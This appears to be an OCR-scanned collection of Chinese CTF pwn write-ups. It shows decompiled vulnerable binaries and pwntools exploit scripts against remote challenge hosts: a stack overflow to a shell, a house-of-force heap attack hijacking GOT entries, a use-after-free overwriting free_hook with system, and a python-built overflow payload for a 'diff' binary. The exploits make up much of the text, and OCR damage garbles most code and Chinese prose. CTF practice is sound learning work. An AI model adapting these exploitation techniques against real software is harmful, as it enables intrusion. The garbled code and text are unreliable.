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= __readfsqword(0x28u);

= OLL;

oLL;

oLL;

Ox7FFFFFFFFFFFFFFFLL;

v8 1.797693134862316e308;

setvbuf(_bss_start, eLL, 2, OLL);

setvbuf(stdin, eLL, 2, eLL);

printf("HuWangBei CTF 2018 will be getting start after %lu seconds...\n", OLL, 1.797693134862316e308);
puts("But Whether it starts depends on you.");

read(e, &buf, 6x28ull);

if ( v7 != @x7FFFFFFFFFFFFFFFLL || v8 != 0.1 )
{
puts("Try again!");
}
else
{

printf("HuWangBei CTF 2018 will be getting start after %g seconds...\n", &buf, v&);
system("/bin/sh");

}
return eLL;
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from pwn import

r remote( , 28793)

Ox18 + p64(Ox7FFfffffffffffff) + p64(Ox3FB999999999999A)

)

r.interactive()
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SR
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for (1 =0; 1 <= 9 && chunk_addr[i]; ++1 )

if (1 ==18)

return puts("Lack of space. Upgrade your account with just $1ee :)");
puts("Input the length of the note content:");
v2 = sub_8048709();
chunk_addr[i] = (int)malloc(v2 + 4);
if ( !chunk_addr[i] )

exit(-1);
size_array[i] = v2;
puts("Input the content:");
input(chunk_addr[i], v2, 18);
printf("Create success, the id is %d\n", 1i);
result = 1i;
flag[i] = @;
return result;
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return puts("WTF? Something strange happened.");

%A show



edit

int edit()

{

int v1; // [esp+14h] [ebp-14h]
int v2; // [esp+18h] [ebp-16h]
int v3; // [esp+1Ch] [ebp-Ch]

puts("Input the id:");
vl = get_num();
if (vi<e || vi>9)

return puts("Invalid ID.");
v2 = addr_array[vl];
if (1v2)

return puts(“"Note has been deleted.");
v3 = size_array[vl];
dword_804BeE@[v1l] = @,
puts("Input the new content:");
get_string(v2z, v3, 10);
return puts("Edit success.");

}
PP EE..L.

free
int delete()
.
L

int vl; // [esp+18h] [ebp-10h]

void *ptr; // [esp+1Ch] [ebp-Ch]

puts("Input the id:");

vl = get_num();

if (vi<e || vi>9)

return puts("Invalid ID.");
ptr = (void *)addr_array[vl];
if ( !ptr )
return puts("Note has been deleted.");

addr_array[vl] = ©;

size_array[vl] = ©;

free(ptr);

return puts("Delete success.”);
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unsigned int sub_86487A1()
{

char s[64]; // [esp+1Ch] [ebp-5Ch] BYREF

char *v2; // [esp+5Ch] [ebp-1Ch]

unsigned int v3; // [esp+6Ch] [ebp-Ch]

v3 = __ readgsdword(@exi4u);
memset(s, ©, ©x50u);

puts("Input your name:");
input((int)s, 64, 10);

v2 = (char *)malloc(@x40u);
dword_804BeCC = (int)vz;

strc vz, s);

sSub_8e48779(v2);

return __readgsdword(@&x14u) ~ v3;

v5 = __readgsdword(@xl4u);
memset(s, @, @x90u);
puts("Org:");

input((int)s, 64, 10);
puts("Host:");
input((int)v3, 64, 10);

vd = (char *)malloc(ex4eu);
v2 = (char *)malloc(ex4eu);
dword_884BOC8 = (int)vZ;
dword_804B148 = (int)v4;
strcpy(v4, v3);

strcpy(v2, s);

puts("OKay! Enjoy:)");
return __readgsdword(@x14u) ~ v5;

TP bR B L A A I



char buf; // [esp+1Bh] [ebp-Dh] BYREF
int i; // [esp+1Ch] [ebp-Ch]

for (1 =9; 1 < a2; ++1 )
{
if ( read(@, &buf, 1u) <= © )
exit(-1);
if ( buf == a3 )
break;
*(_BYTE *)(al + i) = buf;
¥
*(_BYTE *)(1 + al) =
return 1i;
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" char s[64]; // [esp+iCh] [ebp-5Ch] BYREF
char *v f/ [esp+5Ch] [ebp-1Ch]
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char 5[54], // [esp+1Ch] [ebp-9Ch] BYREF
char *v2; // [esp+5Ch] [ebp-5Ch]

char v3[58], // [esp+66h] [ebp-58h] BYREF
char *v4; // [esp+Adh] [ebp-14h]

unsigned int v5; // [esp+ACh] [ebp-Ch]
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elf.plt[

elf.got|[ ]

elf.got|[ ]
heap_array_addr 0x0804B120

heap_addr u3d2(r.recv(4))

r.sendafter( 0x40)
r.sendlineafter( ,P32(OxFfffffff))
top_chunk_addr = heap_addr + 0xD@

print (top_chunk_addr)

def add(size,content):
r.sendlineafter(
r.sendlineafter(
r.sendafter( ,content)

def edit(index,content):
r.sendlineafter(
r.sendlineafter( (index))
r.sendafter( ,content)

def delete(index):
r.sendlineafter(
r.sendlineafter( (index))

offset heap_array_addr - top_chunk_addr - 0x10
add (offset, )
add (0x18,

edit(1,p32(0) p32(free_got) p32(puts_got) p32(0x0804B130)
edit(1,p32(puts_plt) )

delete(2)

r.recv(1)

puts_addr = u32(r.recv(4))

libc_base puts_addr libc.sym[
system_addr libc_base libc.sym[

(libc_base)
(system_addr)




delete(3)

r.interactive()
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Hif N chunk, 5 s,

‘nt sub_8048651()
" void *buf; // [esp+Ch] [ebp-Ch]

puts("...");

buf = malloc(@xleeu);

read(@, buf, @x37u);

return sub_804862A( (char *)buf);
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puts(”...");

vl = strtok(s, "|");
printf(vl);

while ( 1)

{
result = strtok(e, "|");
if ( !result )

break;
printf(result);

¥

return result;
s
|F] _read LRy Sy s suuss - e svan_usuu
E _printf ~._ LOAD:08048... 00000006 C stdin
7] _malloc i LOAD:08048... 00000007 C printf
.-El _puts ~._ LOAD:08048... 00000007 C strtok
3 _system ~._ LOAD:08048... 00000007 C stdout
min ~._ LOAD:08048... 00000007 C malloc
E _setvbuf ~._ LOAD:08048... 00000007 C stderr
7] strtok i LOAD:08048... 00000007 C system
.-El __gmon start ~._ LOAD:08048... 00000008 C setvbuf
3 start ~._ LOAD:08048... 00000012 C __libc_start_main
7] sub_80484E0 .|| LOAD:08048... 0000000F C __gmon start_
< s ['s7 LOAD:08048... 0000000A C GLIBC 2.0
17 22/34 [? .rodata:0804... 00000008 C /bin/sh

5] en frame:08.. 00000006 € 25\

SR 5 A5 system £ /bin/sh
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char *strtok(char *str, const char *delim)

str — FHEI R 2N AT R AT R

delim — £ & 73 M C F1F e .
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H#include <string.h

#tinclude <stdio.h

int main () {
char str[80]
const char s[2]

char *token;

token strtok(str, s);

while( token NULL ) {

printf( , token );

token strtok(NULL, s);

)i
printf( ,str);

return(0);
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from pwn import

sh remote ( ,28885)
elf ELF( )
backdoor 0x080485AB

stack_guess 0x98

(stack_guess-0x4C)

(backdoor & OXFFFF)
sh.sendafter( ,payload)

sh.interactive()
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show

CUNIDL Cldal” Ul ) | ITSPTLON ] [ TUPT Lol
V3 = 8;
buf = al;

while ( v3 < strlen(al) && v3 <= 127 )

—
vl = buf++;
write(1, v1, 1ulLl);
++V3;

¥

return puts(&s);

information R A5 1124 K, {HZ 1% B ] DL4 H 12845275,
AR Z DA p .

edit

read(®, &buf, 8uLL);
if ( buf == aY[e] )
{
puts("3");
v3 = (_BYTE *)(*(_QWORD *)chunk_addr_addr_ayyar[v1] + 8LL);
if ( *v3 == unk_13DE )
{
puts(&al24[2]);
¥v3 = 1;
¥
else
{
puts(al24);
*¥y3 = 16;
}
}

else

{
¥

puts("Now change information");

if ( !(unsigned int)input((char *)(*(_QWORD *)chunk_addr_addr_ayyar[vl] + 16LL), 112) )
puts("nothing");

*(_QWORD *)(v2 + 8) = OLL;

puts(&al24[4]);
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free

v4d = _ readfsqword(@x28u);
puts(“Give me your index : ");
read(®, &buf, 8ulLlL);

v2 = atoi(&buf);

if ((v2 >=7)

puts("Out of list");

lse if ( chunk_addr_addr_ayyar[v2] )
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v8 = chunk_addr_addr_ayyar[v2];
free(*(void **)chunk_addr_addr_ayyar[v2]);
—

else

{

puts(“"invalid");

}

return __readfsqword(&x28u) ~ v4;
BAH I IRE . uaf.

I B %

1. B /eTRA T liber) ikt 5 ok, J5ikit @& R B ), FRATER Fuaf, JeHiig Blchunk, B, +H:Funsorted bin, #AJ5%i
Ho

2, TANE@ELuaf, FIHMKIZEKR, BINEREEFFE —Z1/hchunk, BUNERANEIFRF 2 FE e Nfree_hook, wftnf LU
editkH{rfree_hook. FRFRATE IR S i HBL— 1 unsortedfichunk,  SCEEE Tfree I ik H freeiX N K f¥chunk, fIf LLH i
N —“~document i i 2> & St 4 unsorted binfchunk )%, B~ —4~0x20 45 idocument, FRATH XA, iED)E ) chunk
U A3 1 e ditOAE 12 i (I 7 .

3. AR ATk AT Lhid i editOSk X AN/ I chunk AT AT = R 21 T H

4. didfreed i “bin/sh’fichunk, Mifi>kget shell.

from pwn import

r remote ( , 26104)

def add(name, sex, content):
.sendlineafter(
.sendafter( , hame)
.sendafter( , sex)
.sendafter( , content)

def delete(index):
r.sendlineafter( )

r.sendlineafter( (index))




def show(index):
r.sendlineafter( )
r.sendlineafter( (index))

def edit(index, content):
r.sendlineafter( )
r.sendlineafter( (index))
r.sendafter( 5 )
r.sendafter( , content)

main_arena_xx = u64(r.recvuntil( )[-6:].1just(8,b ))
malloc_hook ((main_arena_xx & Oxfffffffffffffooo) (libc.sym[
libc_base malloc_hook libc.sym[ ]
free_hook=1ibc.symbols[ ] libc_base

system_addr libc.sym[ libc_base

print (libc_base)
(free_hook)
(system_addr)
s 0x70)

s 0Xx70)
2 p64(free_hook-0x10)+p64(0x1)).1ljust(0x70,b

edit(3,p64(system_addr).ljust(0x70,

delete(2)

r.interactive()

130 [BJDCTF 2nd]diff

sshikE$%

ssh -p 28948 ctf@node3.buuoj.cn
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scp -P 28947 ctf@node3.buuoj.cn:/home/ctf/diff /home/wuangwuang/Desktop/

scpih e M4 ARV 2
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f1 = filename;

f2 = a3;

v3 = sys_open(filename, ©, Ox284u);
if (v3 >=9)

V8 = v3;
= sys_open(z3, ©, 0x284u);
if (v4 >=9)

v5 = compare(v4, VvE);
print(vs);
exit(v7);
¥
¥
v6 = sys_write(l, err, ex1l2u);
exit(va);

A

Hifladdr 4120, readif 71287 F1, RIAEMRREL, A8ANFHHESH, buft A af$AT BRR, FRATH ZIRE S buf1 1) Hh
W e, Rl Al getshell

P UAFRAT 565 7R 0 K flag2

python -cZ 4, SCHRFIAT AT A QA .



python -c “print ‘a*120+\x5e\x91\x04\x08\x5e\x91\x04\x08"” >flag2

HIff 2 pythonitydir 4, HEALFRFHR 5%,
SR JE AT diffir £ 25 EL K
Z3flag.

cd /tmp

tmp$ python -c
tmp$ cd
./diff flag /tmp/flag2
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